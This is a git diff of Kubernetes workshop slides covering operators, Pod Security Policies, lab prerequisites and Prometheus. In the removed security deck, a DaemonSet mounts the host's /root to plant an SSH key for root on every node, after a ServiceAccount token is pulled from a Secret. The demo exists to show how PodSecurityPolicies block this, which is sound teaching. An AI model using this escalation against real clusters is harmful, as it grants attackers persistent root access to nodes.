-
----
-
-## Challenges
-
-- Reacting to infrastructure disruption can seem hard at first
-
-- Kubernetes gives us a lot of primitives to help:
-
-  - Pods and Persistent Volumes will *eventually* recover
-
-  - Stateful Sets give us easy ways to "add N copies" of a thing
-
-- The real challenges come with configuration changes
-
-  (i.e., what to do when our users update our CRDs)
-
-- Keep in mind that [some] of the [largest] cloud [outages] haven't been caused by [natural catastrophes], or even code bugs, but by configuration changes
-
-[some]: https://www.datacenterdynamics.com/news/gcp-outage-mainone-leaked-google-cloudflare-ip-addresses-china-telecom/
-[largest]: https://aws.amazon.com/message/41926/
-[outages]: https://aws.amazon.com/message/65648/
-[natural catastrophes]: https://www.datacenterknowledge.com/amazon/aws-says-it-s-never-seen-whole-data-center-go-down
-
----
-
-## Configuration changes
-
-- It is helpful to analyze and understand how Kubernetes controllers work:
-
-  - watch resource for modifications
-
-  - compare desired state (CRD) and current state
-
-  - issue actions to converge state
-
-- Configuration changes will probably require *another* state diagram or FSA
-
-- Again, it's OK to have transitions labeled as "unsupported"
-
-  (i.e. reject some modifications because we can't execute them)
-
----
-
-## Tools
-
-- CoreOS / RedHat Operator Framework
-
-  [GitHub](https://github.com/operator-framework)
-  |
-  [Blog](https://developers.redhat.com/blog/2018/12/18/introduction-to-the-kubernetes-operator-framework/)
-  |
-  [Intro talk](https://www.youtube.com/watch?v=8k_ayO1VRXE)
-  |
-  [Deep dive talk](https://www.youtube.com/watch?v=fu7ecA2rXmc)
-
-- Zalando Kubernetes Operator Pythonic Framework (KOPF)
-
-  [GitHub](https://github.com/zalando-incubator/kopf)
-  |
-  [Docs](https://kopf.readthedocs.io/)
-  |
-  [Step-by-step tutorial](https://kopf.readthedocs.io/en/stable/walkthrough/problem/)
-
-- Mesosphere Kubernetes Universal Declarative Operator (KUDO)
-
-  [GitHub](https://github.com/kudobuilder/kudo)
-  |
-  [Blog](https://mesosphere.com/blog/announcing-maestro-a-declarative-no-code-approach-to-kubernetes-day-2-operators/)
-  |
-  [Docs](https://kudo.dev/)
-  |
-  [Zookeeper example](https://github.com/kudobuilder/frameworks/tree/master/repo/stable/zookeeper)
-
----
-
-## Validation
-
-- By default, a CRD is "free form"
-
-  (we can put pretty much anything we want in it)
-
-- When creating a CRD, we can provide an OpenAPI v3 schema
-  ([Example](https://github.com/amaizfinance/redis-operator/blob/master/deploy/crds/k8s_v1alpha1_redis_crd.yaml#L34))
-
-- The API server will then validate resources created/edited with this schema
-
-- If we need a stronger validation, we can use a Validating Admission Webhook:
-
-  - run an [admission webhook server](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#write-an-admission-webhook-server) to receive validation requests
-
-  - register the webhook by creating a [ValidatingWebhookConfiguration](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#configure-admission-webhooks-on-the-fly)
-
-  - each time the API server receives a request matching the configuration,
-    <br/>the request is sent to our server for validation
-
----
-
-## Presentation
-
-- By default, `kubectl get mycustomresource` won't display much information
-
-  (just the name and age of each resource)
-
-- When creating a CRD, we can specify additional columns to print
-  ([Example](https://github.com/amaizfinance/redis-operator/blob/master/deploy/crds/k8s_v1alpha1_redis_crd.yaml#L6),
-  [Docs](https://kubernetes.io/docs/tasks/access-kubernetes-api/custom-resources/custom-resource-definitions/#additional-printer-columns))
-
-- By default, `kubectl describe mycustomresource` will also be generic
-
-- `kubectl describe` can show events related to our custom resources
-
-  (for that, we need to create Event resources, and fill the `involvedObject` field)
-
-- For scalable resources, we can define a `scale` sub-resource
-
-- This will enable the use of `kubectl scale` and other scaling-related operations
-
----
-
-## About scaling
-
-- It is possible to use the HPA (Horizontal Pod Autoscaler) with CRDs
-
-- But it is not always desirable
-
-- The HPA works very well for homogenous, stateless workloads
-
-- For other workloads, your mileage may vary
-
-- Some systems can scale across multiple dimensions
-
-  (for instance: increase number of replicas, or number of shards?)
-
-- If autoscaling is desired, the operator will have to take complex decisions
-
-  (example: Zalando's Elasticsearch Operator ([Video](https://www.youtube.com/watch?v=lprE0J0kAq0)))
-
----
-
-## Versioning
-
-- As our operator evolves over time, we may have to change the CRD
-
-  (add, remove, change fields)
-
-- Like every other resource in Kubernetes, [custom resources are versioned](https://kubernetes.io/docs/tasks/access-kubernetes-api/custom-resources/custom-resource-definition-versioning/
-)
-
-- When creating a CRD, we need to specify a *list* of versions
-
-- Versions can be marked as `stored` and/or `served`
-
----
-
-## Stored version
-
-- Exactly one version has to be marked as the `stored` version
-
-- As the name implies, it is the one that will be stored in etcd
-
-- Resources in storage are never converted automatically
-
-  (we need to read and re-write them ourselves)
-
-- Yes, this means that we can have different versions in etcd at any time
-
-- Our code needs to handle all the versions that still exist in storage
-
----
-
-## Served versions
-
-- By default, the Kubernetes API will serve resources "as-is"
-
-  (using their stored version)
-
-- It will assume that all versions are compatible storage-wise
-
-  (i.e. that the spec and fields are compatible between versions)
-
-- We can provide [conversion webhooks](https://kubernetes.io/docs/tasks/access-kubernetes-api/custom-resources/custom-resource-definition-versioning/#webhook-conversion) to "translate" requests
-
-  (the alternative is to upgrade all stored resources and stop serving old versions)
-
----
-
-## Operator reliability
-
-- Remember that the operator itself must be resilient
-
-  (e.g.: the node running it can fail)
-
-- Our operator must be able to restart and recover gracefully
-
-- Do not store state locally
-
-  (unless we can reconstruct that state when we restart)
-
-- As indicated earlier, we can use the Kubernetes API to store data:
-
-  - in the custom resources themselves
-
-  - in other resources' annotations
-
----
-
-## Beyond CRDs
-
-- CRDs cannot use custom storage (e.g. for time series data)
-
-- CRDs cannot support arbitrary subresources (like logs or exec for Pods)
-
-- CRDs cannot support protobuf (for faster, more efficient communication)
-
-- If we need these things, we can use the [aggregation layer](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/apiserver-aggregation/) instead
-
-- The aggregation layer proxies all requests below a specific path to another server
-
-  (this is used e.g. by the metrics server)
-
-- [This documentation page](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/#choosing-a-method-for-adding-custom-resources) compares the features of CRDs and API aggregation

slides/k8s/operators.md

@@ -1,389 +0,0 @@
-# Operators
-
-- Operators are one of the many ways to extend Kubernetes
-
-- We will define operators
-
-- We will see how they work
-
-- We will install a specific operator (for ElasticSearch)
-
-- We will use it to provision an ElasticSearch cluster
-
----
-
-## What are operators?
-
-*An operator represents **human operational knowledge in software,**
-<br/>
-to reliably manage an application.
-— [CoreOS](https://coreos.com/blog/introducing-operators.html)*
-
-Examples:
-
-- Deploying and configuring replication with MySQL, PostgreSQL ...
-
-- Setting up Elasticsearch, Kafka, RabbitMQ, Zookeeper ...
-
-- Reacting to failures when intervention is needed
-
-- Scaling up and down these systems
-
----
-
-## What are they made from?
-
-- Operators combine two things:
-
-  - Custom Resource Definitions
-
-  - controller code watching the corresponding resources and acting upon them
-
-- A given operator can define one or multiple CRDs
-
-- The controller code (control loop) typically runs within the cluster
-
-  (running as a Deployment with 1 replica is a common scenario)
-
-- But it could also run elsewhere
-
-  (nothing mandates that the code run on the cluster, as long as it has API access)
-
----
-
-## Why use operators?
-
-- Kubernetes gives us Deployments, StatefulSets, Services ...
-
-- These mechanisms give us building blocks to deploy applications
-
-- They work great for services that are made of *N* identical containers
-
-  (like stateless ones)
-
-- They also work great for some stateful applications like Consul, etcd ...
-
-  (with the help of highly persistent volumes)
-
-- They're not enough for complex services:
-
-  - where different containers have different roles
-
-  - where extra steps have to be taken when scaling or replacing containers
-
----
-
-## Use-cases for operators
-
-- Systems with primary/secondary replication
-
-  Examples: MariaDB, MySQL, PostgreSQL, Redis ...
-
-- Systems where different groups of nodes have different roles
-
-  Examples: ElasticSearch, MongoDB ...
-
-- Systems with complex dependencies (that are themselves managed with operators)
-
-  Examples: Flink or Kafka, which both depend on Zookeeper
-
----
-
-## More use-cases
-
-- Representing and managing external resources
-
-  (Example: [AWS Service Operator](https://operatorhub.io/operator/alpha/aws-service-operator.v0.0.1))
-
-- Managing complex cluster add-ons
-
-  (Example: [Istio operator](https://operatorhub.io/operator/beta/istio-operator.0.1.6))
-
-- Deploying and managing our applications' lifecycles
-
-  (more on that later)
-
----
-
-## How operators work
-
-- An operator creates one or more CRDs
-
-  (i.e., it creates new "Kinds" of resources on our cluster)
-
-- The operator also runs a *controller* that will watch its resources
-
-- Each time we create/update/delete a resource, the controller is notified
-
-  (we could write our own cheap controller with `kubectl get --watch`)
-
----
-
-## One operator in action
-
-- We will install the UPMC Enterprises ElasticSearch operator
-
-- This operator requires PersistentVolumes
-
-- We will install Rancher's [local path storage provisioner](https://github.com/rancher/local-path-provisioner) to automatically create these
-
-- Then, we will create an ElasticSearch resource
-
-- The operator will detect that resource and provision the cluster
-
----
-
-## Installing a Persistent Volume provisioner
-
-(This step can be skipped if you already have a dynamic volume provisioner.)
-
-- This provisioner creates Persistent Volumes backed by `hostPath`
-
-  (local directories on our nodes)
-
-- It doesn't require anything special ...
-
-- ... But losing a node = losing the volumes on that node!
-
-.exercise[
-
-- Install the local path storage provisioner:
-  ```bash
-  kubectl apply -f ~/container.training/k8s/local-path-storage.yaml
-  ```
-
-]
-
----
-
-## Making sure we have a default StorageClass
-
-- The ElasticSearch operator will create StatefulSets
-
-- These StatefulSets will instantiate PersistentVolumeClaims
-
-- These PVCs need to be explicitly associated with a StorageClass
-
-- Or we need to tag a StorageClass to be used as the default one
-
-.exercise[
-
-- List StorageClasses:
-  ```bash
-  kubectl get storageclasses
-  ```
-
-]
-
-We should see the `local-path` StorageClass.
-
----
-
-## Setting a default StorageClass
-
-- This is done by adding an annotation to the StorageClass:
-
-  `storageclass.kubernetes.io/is-default-class: true`
-
-.exercise[
-
-- Tag the StorageClass so that it's the default one:
-  ```bash
-  kubectl annotate storageclass local-path \
-            storageclass.kubernetes.io/is-default-class=true
-  ```
-
-- Check the result:
-  ```bash
-  kubectl get storageclasses
-  ```
-
-]
-
-Now, the StorageClass should have `(default)` next to its name.
-
----
-
-## Install the ElasticSearch operator
-
-- The operator needs:
-
-  - a Deployment for its controller
-  - a ServiceAccount, ClusterRole, ClusterRoleBinding for permissions
-  - a Namespace
-
-- We have grouped all the definitions for these resources in a YAML file
-
-.exercise[
-
-- Install the operator:
-  ```bash
-  kubectl apply -f ~/container.training/k8s/elasticsearch-operator.yaml
-  ```
-
-]
-
----
-
-## Wait for the operator to be ready
-
-- Some operators require to create their CRDs separately
-
-- This operator will create its CRD itself
-
-  (i.e. the CRD is not listed in the YAML that we applied earlier)
-
-.exercise[
-
-- Wait until the `elasticsearchclusters` CRD shows up:
-  ```bash
-  kubectl get crds
-  ```
-
-]
-
----
-
-## Create an ElasticSearch resource
-
-- We can now create a resource with `kind: ElasticsearchCluster`
-
-- The YAML for that resource will specify all the desired parameters:
-
-  - how many nodes do we want of each type (client, master, data)
-  - image to use
-  - add-ons (kibana, cerebro, ...)
-  - whether to use TLS or not
-  - etc.
-
-.exercise[
-
-- Create our ElasticSearch cluster:
-  ```bash
-  kubectl apply -f ~/container.training/k8s/elasticsearch-cluster.yaml
-  ```
-
-]
-
----
-
-## Operator in action
-
-- Over the next minutes, the operator will create:
-
-  - StatefulSets (one for master nodes, one for data nodes)
-
-  - Deployments (for client nodes; and for add-ons like cerebro and kibana)
-
-  - Services (for all these pods)
-
-.exercise[
-
-- Wait for all the StatefulSets to be fully up and running:
-  ```bash
-  kubectl get statefulsets -w
-  ```
-
-]
-
----
-
-## Connecting to our cluster
-
-- Since connecting directly to the ElasticSearch API is a bit raw,
-  <br/>we'll connect to the cerebro frontend instead
-
-.exercise[
-
-- Edit the cerebro service to change its type from ClusterIP to NodePort:
-  ```bash
-  kubectl patch svc cerebro-es -p "spec: { type: NodePort }"
-  ```
-
-- Retrieve the NodePort that was allocated:
-  ```bash
-  kubectl get svc cerebreo-es
-  ```
-
-- Connect to that port with a browser
-
-]
-
----
-
-## (Bonus) Setup filebeat
-
-- Let's send some data to our brand new ElasticSearch cluster!
-
-- We'll deploy a filebeat DaemonSet to collect node logs
-
-.exercise[
-
-- Deploy filebeat:
-  ```bash
-  kubectl apply -f ~/container.training/k8s/filebeat.yaml
-  ```
-
-]
-
-We should see at least one index being created in cerebro.
-
----
-
-## (Bonus) Access log data with kibana
-
-- Let's expose kibana (by making kibana-es a NodePort too)
-
-- Then access kibana
-
-- We'll need to configure kibana indexes
-
----
-
-## Deploying our apps with operators
-
-- It is very simple to deploy with `kubectl run` / `kubectl expose`
-
-- We can unlock more features by writing YAML and using `kubectl apply`
-
-- Kustomize or Helm let us deploy in multiple environments
-
-  (and adjust/tweak parameters in each environment)
-
-- We can also use an operator to deploy our application
-
----
-
-## Pros and cons of deploying with operators
-
-- The app definition and configuration is persisted in the Kubernetes API
-
-- Multiple instances of the app can be manipulated with `kubectl get`
-
-- We can add labels, annotations to the app instances
-
-- Our controller can execute custom code for any lifecycle event
-
-- However, we need to write this controller
-
-- We need to be careful about changes
-
-  (what happens when the resource `spec` is updated?)
-
----
-
-## Operators are not magic
-
-- Look at the ElasticSearch resource definition
-
-  (`~/container.training/k8s/elasticsearch-cluster.yaml`)
-
-- What should happen if we flip the `use-tls` flag? Twice?
-
-- What should happen if we remove / re-add the kibana or cerebro sections?
-
-- What should happen if we change the number of nodes?
-
-- What if we want different images or parameters for the different nodes?
-
-*Operators can be very powerful, iff we know exactly the scenarios that they can handle.*

slides/k8s/ourapponkube.md

@@ -11,7 +11,6 @@
 
 - Deploy everything else:
   ```bash
-    set -u
     for SERVICE in hasher rng webui worker; do
       kubectl create deployment $SERVICE --image=$REGISTRY/$SERVICE:$TAG
     done

slides/k8s/owners-and-dependents.md

@@ -1,4 +1,4 @@
-# Owners and dependents (extra material)
+# Owners and dependents
 
 - Some objects are created by other objects
 

slides/k8s/podsecuritypolicy.md

@@ -1,601 +0,0 @@
-# Pod Security Policies
-
-- By default, our pods and containers can do *everything*
-
-  (including taking over the entire cluster)
-
-- We are going to show an example of a malicious pod
-
-- Then we will explain how to avoid this with PodSecurityPolicies
-
-- We will illustrate this by creating a non-privileged user limited to a namespace
-
----
-
-## Setting up a namespace
-
-- Let's create a new namespace called "green"
-
-.exercise[
-
-- Create the "green" namespace:
-  ```bash
-  kubectl create namespace green
-  ```
-
-- Change to that namespace:
-  ```bash
-  kns green
-  ```
-
-]
-
----
-
-## Using limited credentials
-
-- When a namespace is created, a `default` ServiceAccount is added
-
-- By default, this ServiceAccount doesn't have any access rights
-
-- We will use this ServiceAccount as our non-privileged user
-
-- We will obtain this ServiceAccount's token and add it to a context
-
-- Then we will give basic access rights to this ServiceAccount
-
----
-
-## Obtaining the ServiceAccount's token
-
-- The token is stored in a Secret
-
-- The Secret is listed in the ServiceAccount
-
-.exercise[
-
-- Obtain the name of the Secret from the ServiceAccount::
-  ```bash
-  SECRET=$(kubectl get sa default -o jsonpath={.secrets[0].name})
-  ```
-
-- Extract the token from the Secret object:
-  ```bash
-  TOKEN=$(kubectl get secrets $SECRET -o jsonpath={.data.token}
-          | base64 -d)
-  ```
-
-]
-
----
-
-class: extra-details
-
-## Inspecting a Kubernetes token
-
-- Kubernetes tokens are JSON Web Tokens
-
-  (as defined by [RFC 7519](https://tools.ietf.org/html/rfc7519))
-
-- We can view their content (and even verify them) easily
-
-.exercise[
-
-- Display the token that we obtained:
-  ```bash
-  echo $TOKEN
-  ```
-
-- Copy paste the token in the verification form on https://jwt.io
-
-]
-
----
-
-## Authenticating using the ServiceAccount token
-
-- Let's create a new *context* accessing our cluster with that token
-
-.exercise[
-
-- First, add the token credentials to our kubeconfig file:
-  ```bash
-  kubectl config set-credentials green --token=$TOKEN
-  ```
-
-- Then, create a new context using these credentials:
-  ```bash
-  kubectl config set-context green --user=green --cluster=kubernetes
-  ```
-
-- Check the results:
-  ```bash
-  kubectl config get-contexts
-  ```
-
-]
-
----
-
-## Using the new context
-
-- Normally, this context doesn't let us access *anything* (yet)
-
-.exercise[
-
-- Change to the new context with one of these two commands:
-  ```bash
-  kctx green
-  kubectl config use-context green
-  ```
-
-- Also change to the green namespace in that context:
-  ```bash
-  kns green
-  ```
-
-- Confirm that we don't have access to anything:
-  ```bash
-  kubectl get all
-  ```
-
-]
-
----
-
-## Giving basic access rights
-
-- Let's bind the ClusterRole `edit` to our ServiceAccount
-
-- To allow access only to the namespace, we use a RoleBinding
-
-  (instead of a ClusterRoleBinding, which would give global access)
-
-.exercise[
-
-- Switch back to `cluster-admin`:
-  ```bash
-  kctx -
-  ```
-
-- Create the Role Binding:
-  ```bash
-  kubectl create rolebinding green --clusterrole=edit --serviceaccount=green:default
-  ```
-
-]
-
----
-
-## Verifying access rights
-
-- Let's switch back to the `green` context and check that we have rights
-
-.exercise[
-
-- Switch back to `green`:
-  ```bash
-  kctx green
-  ```
-
-- Check our permissions:
-  ```bash
-  kubectl get all
-  ```
-
-]
-
-We should see an empty list.
-
-(Better than a series of permission errors!)
-
----
-
-## Creating a basic Deployment
-
-- Just to demonstrate that everything works correctly, deploy NGINX
-
-.exercise[
-
-- Create a Deployment using the official NGINX image:
-  ```bash
-  kubectl create deployment web --image=nginx
-  ```
-
-- Confirm that the Deployment, ReplicaSet, and Pod exist, and Pod is running:
-  ```bash
-  kubectl get all
-  ```
-
-]
-
----
-
-## One example of malicious pods
-
-- We will now show an escalation technique in action
-
-- We will deploy a DaemonSet that adds our SSH key to the root account
-
-  (on *each* node of the cluster)
-
-- The Pods of the DaemonSet will do so by mounting `/root` from the host
-
-.exercise[
-
-- Check the file `k8s/hacktheplanet.yaml` with a text editor:
-  ```bash
-  vim ~/container.training/k8s/hacktheplanet.yaml
-  ```
-
-- If you would like, change the SSH key (by changing the GitHub user name)
-
-]
-
----
-
-## Deploying the malicious pods
-
-- Let's deploy our "exploit"!
-
-.exercise[
-
-- Create the DaemonSet:
-  ```bash
-  kubectl create -f ~/container.training/k8s/hacktheplanet.yaml
-  ```
-
-- Check that the pods are running:
-  ```bash
-  kubectl get pods
-  ```
-
-- Confirm that the SSH key was added to the node's root account:
-  ```bash
-  sudo cat /root/.ssh/authorized_keys
-  ```
-
-]
-
----
-
-## Cleaning up
-
-- Before setting up our PodSecurityPolicies, clean up that namespace
-
-.exercise[
-
-- Remove the DaemonSet:
-  ```bash
-  kubectl delete daemonset hacktheplanet
-  ```
-
-- Remove the Deployment:
-  ```bash
-  kubectl delete deployment web
-  ```
-
-]
-
----
-
-## Pod Security Policies in theory
-
-- To use PSPs, we need to activate their specific *admission controller*
-
-- That admission controller will intercept each pod creation attempt
-
-- It will look at:
-
-  - *who/what* is creating the pod
-
-  - which PodSecurityPolicies they can use
-
-  - which PodSecurityPolicies can be used by the Pod's ServiceAccount
-
-- Then it will compare the Pod with each PodSecurityPolicy one by one
-
-- If a PodSecurityPolicy accepts all the parameters of the Pod, it is created
-
-- Otherwise, the Pod creation is denied and it won't even show up in `kubectl get pods`
-
----
-
-## Pod Security Policies fine print
-
-- With RBAC, using a PSP corresponds to the verb `use` on the PSP
-
-  (that makes sense, right?)
-
-- If no PSP is defined, no Pod can be created
-
-  (even by cluster admins)
-
-- Pods that are already running are *not* affected
-
-- If we create a Pod directly, it can use a PSP to which *we* have access
-
-- If the Pod is created by e.g. a ReplicaSet or DaemonSet, it's different:
- 
-  - the ReplicaSet / DaemonSet controllers don't have access to *our* policies
-
-  - therefore, we need to give access to the PSP to the Pod's ServiceAccount
-
----
-
-## Pod Security Policies in practice
-
-- We are going to enable the PodSecurityPolicy admission controller
-
-- At that point, we won't be able to create any more pods (!)
-
-- Then we will create a couple of PodSecurityPolicies
-
-- ... And associated ClusterRoles (giving `use` access to the policies)
-
-- Then we will create RoleBindings to grant these roles to ServiceAccounts
-
-- We will verify that we can't run our "exploit" anymore
-
----
-
-## Enabling Pod Security Policies
-
-- To enable Pod Security Policies, we need to enable their *admission plugin*
-
-- This is done by adding a flag to the API server
-
-- On clusters deployed with `kubeadm`, the control plane runs in static pods
-
-- These pods are defined in YAML files located in `/etc/kubernetes/manifests`
-
-- Kubelet watches this directory
-
-- Each time a file is added/removed there, kubelet creates/deletes the corresponding pod
-
-- Updating a file causes the pod to be deleted and recreated
-
----
-
-## Updating the API server flags
-
-- Let's edit the manifest for the API server pod
-
-.exercise[
-
-- Have a look at the static pods:
-  ```bash
-  ls -l /etc/kubernetes/manifest
-  ```
-
-- Edit the one corresponding to the API server:
-  ```bash
-  sudo vim /etc/kubernetes/manifests/kube-apiserver.yaml
-  ```
-
-]
-
----
-
-## Adding the PSP admission plugin
-
-- There should already be a line with `--enable-admission-plugins=...`
-
-- Let's add `PodSecurityPolicy` on that line
-
-.exercise[
-
-- Locate the line with `--enable-admission-plugins=`
-
-- Add `PodSecurityPolicy`
-
-  (It should read `--enable-admission-plugins=NodeRestriction,PodSecurityPolicy`)
-
-- Save, quit
-
-]
-
----
-
-## Waiting for the API server to restart
-
-- The kubelet detects that the file was modified
-
-- It kills the API server pod, and starts a new one
-
-- During that time, the API server is unavailable
-
-.exercise[
-
-- Wait until the API server is available again
-
-]
-
----
-
-## Check that the admission plugin is active
-
-- Normally, we can't create any Pod at this point
-
-.exercise[
-
-- Try to create a Pod directly:
-  ```bash
-  kubectl run testpsp1 --image=nginx --restart=Never
-  ```
-
-- Try to create a Deployment:
-  ```bash
-  kubectl run testpsp2 --image=nginx
-  ```
-
-- Look at existing resources:
-  ```bash
-  kubectl get all
-  ```
-
-]
-
-We can get hints at what's happening by looking at the ReplicaSet and Events.
-
----
-
-## Introducing our Pod Security Policies
-
-- We will create two policies:
-
-  - privileged (allows everything)
-
-  - restricted (blocks some unsafe mechanisms)
-
-- For each policy, we also need an associated ClusterRole granting *use*
-
----
-
-## Creating our Pod Security Policies
-
-- We have a couple of files, each defining a PSP and associated ClusterRole:
-
-  - k8s/psp-privileged.yaml: policy `privileged`, role `psp:privileged`
-  - k8s/psp-restricted.yaml: policy `restricted`, role `psp:restricted`
-
-.exercise[
-
-- Create both policies and their associated ClusterRoles:
-  ```bash
-  kubectl create -f ~/container.training/k8s/psp-restricted.yaml
-  kubectl create -f ~/container.training/k8s/psp-privileged.yaml
-  ```
-]
-
-- The privileged policy comes from [the Kubernetes documentation](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#example-policies)
-
-- The restricted policy is inspired by that same documentation page
-
----
-
-## Binding the restricted policy
-
-- Let's bind the role `psp:restricted` to ServiceAccount `green:default`
-
-  (aka the default ServiceAccount in the green Namespace)
-
-.exercise[
-
-- Create the following RoleBinding:
-  ```bash
-    kubectl create rolebinding psp:restricted \
-            --clusterrole=psp:restricted \
-            --serviceaccount=green:default
-  ```
-
-]
-
----
-
-## Trying it out
-
-- Let's switch to the `green` context, and try to create resources
-
-.exercise[
-
-- Switch to the `green` context:
-  ```bash
-  kctx green
-  ```
-
-- Create a simple Deployment:
-  ```bash
-  kubectl create deployment web --image=nginx
-  ```
-
-- Look at the Pods that have been created:
-  ```bash
-  kubectl get all
-  ```
-
-]
-
----
-
-## Trying to hack the cluster
-
-- Let's create the same DaemonSet we used earlier
-
-.exercise[
-
-- Create a hostile DaemonSet:
-  ```bash
-  kubectl create -f ~/container.training/k8s/hacktheplanet.yaml
-  ```
-
-- Look at the state of the namespace:
-  ```bash
-  kubectl get all
-  ```
-
-]
-
----
-
-class: extra-details
-
-## What's in our restricted policy?
-
-- The restricted PSP is similar to the one provided in the docs, but:
-
-  - it allows containers to run as root
-
-  - it doesn't drop capabilities
-
-- Many containers run as root by default, and would require additional tweaks
-
-- Many containers use e.g. `chown`, which requires a specific capability
-
-  (that's the case for the NGINX official image, for instance)
-
-- We still block: hostPath, privileged containers, and much more!
-
----
-
-class: extra-details
-
-## The case of static pods
-
-- If we list the pods in the `kube-system` namespace, `kube-apiserver` is missing
-
-- However, the API server is obviously running
-
-  (otherwise, `kubectl get pods --namespace=kube-system` wouldn't work)
-
-- The API server Pod is created directly by kubelet
-
-  (without going through the PSP admission plugin)
-
-- Then, kubelet creates a "mirror pod" representing that Pod in etcd
-
-- That "mirror pod" creation goes through the PSP admission plugin
-
-- And it gets blocked!
-
-- This can be fixed by binding `psp:privileged` to group `system:nodes`
-
----
-
-## .warning[Before moving on...]
-
-- Our cluster is currently broken
-
-  (we can't create pods in namespaces kube-system, default, ...)
-
-- We need to either:
-
-  - disable the PSP admission plugin
-
-  - allow use of PSP to relevant users and groups
-
-- For instance, we could:
-
-  - bind `psp:restricted` to the group `system:authenticated`
-
-  - bind `psp:privileged` to the ServiceAccount `kube-system:default`

slides/k8s/prereqs-admin.md

@@ -1,8 +1,52 @@
-# Additional lab environments
+# Pre-requirements
 
-- We will now use new sets of VMs
+- Kubernetes concepts
 
-- Look out for new individual card with connection information!
+  (pods, deployments, services, labels, selectors)
+
+- Hands-on experience working with containers
+
+  (building images, running them; doesn't matter how exactly)
+
+- Familiar with the UNIX command-line
+
+  (navigating directories, editing files, using `kubectl`)
+
+---
+
+## Labs and exercises
+
+- We are going to build and break multiple clusters
+
+- Everyone will get their own private environment(s)
+
+- You are invited to reproduce all the demos (but you don't have to)
+
+- All hands-on sections are clearly identified, like the gray rectangle below
+
+.exercise[
+
+- This is the stuff you're supposed to do!
+
+- Go to @@SLIDES@@ to view these slides
+
+- Join the chat room: @@CHAT@@
+
+<!-- ```open @@SLIDES@@``` -->
+
+]
+
+---
+
+## Private environments
+
+- Each person gets their own private set of VMs
+
+- Each person should have a printed card with connection information
+
+- We will connect to these VMs with SSH
+
+  (if you don't have an SSH client, install one **now!**)
 
 ---
 

slides/k8s/prometheus.md

@@ -12,7 +12,7 @@
 
   - an *alert manager* to notify us according to metrics values or trends
 
-- We are going to use it to collect and query some metrics on our Kubernetes cluster
+- We are going to deploy it on our Kubernetes cluster and see how to query it
 
 ---
 
@@ -145,28 +145,7 @@ scrape_configs:
 
   (it will even be gentler on the I/O subsystem since it needs to write less)
 
-- Would you like to know more? Check this video:
-
-  [Storage in Prometheus 2.0](https://www.youtube.com/watch?v=C4YV-9CrawA) by [Goutham V](https://twitter.com/putadent) at DC17EU
-
----
-
-## Checking if Prometheus is installed
-
-- Before trying to install Prometheus, let's check if it's already there
-
-.exercise[
-
-- Look for services with a label `app=prometheus` across all namespaces:
-  ```bash
-  kubectl get services --selector=app=prometheus --all-namespaces
-  ```
-
-]
-
-If we see a `NodePort` service called `prometheus-server`, we're good!
-
-(We can then skip to "Connecting to the Prometheus web UI".)
+[Storage in Prometheus 2.0](https://www.youtube.com/watch?v=C4YV-9CrawA) by [Goutham V](https://twitter.com/putadent) at DC17EU
 
 ---
 
@@ -190,11 +169,11 @@ We need to:
 
 ---
 
-## Helm charts to the rescue
+## Helm Charts to the rescue
 
-- To make our lives easier, we are going to use a Helm chart
+- To make our lives easier, we are going to use a Helm Chart
 
-- The Helm chart will take care of all the steps explained above
+- The Helm Chart will take care of all the steps explained above
 
   (including some extra features that we don't need, but won't hurt)
 
@@ -231,41 +210,20 @@ We need to:
 
 - Install Prometheus on our cluster:
   ```bash
-    helm upgrade prometheus stable/prometheus \
-        --install \
-        --namespace kube-system \
-        --set server.service.type=NodePort \
-        --set server.service.nodePort=30090 \
-        --set server.persistentVolume.enabled=false \
-        --set alertmanager.enabled=false
+  helm install stable/prometheus \
+         --set server.service.type=NodePort \
+         --set server.persistentVolume.enabled=false
   ```
 
 ]
 
-Curious about all these flags? They're explained in the next slide.
+The provided flags:
 
----
+- expose the server web UI (and API) on a NodePort
 
-class: extra-details
-
-## Explaining all the Helm flags
-
-- `helm upgrade prometheus` → upgrade release "prometheus" to the latest version ...
-
-  (a "release" is a unique name given to an app deployed with Helm)
-
-- `stable/prometheus` → ... of the chart `prometheus` in repo `stable`
-
-- `--install` → if the app doesn't exist, create it
-
-- `--namespace kube-system` → put it in that specific namespace
-
-- And set the following *values* when rendering the chart's templates:
-
-  - `server.service.type=NodePort` → expose the Prometheus server with a NodePort
-  - `server.service.nodePort=30090` → set the specific NodePort number to use
-  - `server.persistentVolume.enabled=false` → do not use a PersistentVolumeClaim
-  - `alertmanager.enabled=false` → disable the alert manager entirely
+- use an ephemeral volume for metrics storage
+  <br/>
+  (instead of requesting a Persistent Volume through a Persistent Volume Claim)
 
 ---
 
@@ -277,7 +235,7 @@ class: extra-details
 
 - Figure out the NodePort that was allocated to the Prometheus server:
   ```bash
-  kubectl get svc --all-namespaces | grep prometheus-server
+  kubectl get svc | grep prometheus-server
   ```
 
 - With your browser, connect to that port
@@ -334,13 +292,13 @@ This query will show us CPU usage across all containers:
 container_cpu_usage_seconds_total
 ```
 
-- The suffix of the metrics name tells us:
+- The suffix of the metrics name tells us: 
 
   - the unit (seconds of CPU)
 
   - that it's the total used since the container creation
 
-- Since it's a "total," it is an increasing quantity
+- Since it's a "total", it is an increasing quantity
 
   (we need to compute the derivative if we want e.g. CPU % over time)
 
@@ -495,7 +453,7 @@ class: extra-details
 
 ## Querying labels
 
-- What if we want to get metrics for containers belonging to a pod tagged `worker`?
+- What if we want to get metrics for containers belong to pod tagged `worker`?
 
 - The cAdvisor exporter does not give us Kubernetes labels
 
@@ -528,21 +486,3 @@ class: extra-details
   - see [this comment](https://github.com/prometheus/prometheus/issues/2204#issuecomment-261515520) for an overview
 
   - or [this blog post](https://5pi.de/2017/11/09/use-prometheus-vector-matching-to-get-kubernetes-utilization-across-any-pod-label/) for a complete description of the process
-
----
-
-## In practice
-
-- Grafana is a beautiful (and useful) frontend to display all kinds of graphs
-
-- Not everyone needs to know Prometheus, PromQL, Grafana, etc.
-
-- But in a team, it is valuable to have at least one person who know them
-
-- That person can set up queries and dashboards for the rest of the team
-
-- It's a little bit likeknowing how to optimize SQL queries, Dockerfiles ...
-
-  Don't panic if you don't know these tools!
-
-  ... But make sure at least one person in your team is on it 💯

slides/k8s/resource-limits.md

@@ -392,7 +392,7 @@ These quotas will apply to the namespace where the ResourceQuota is created.
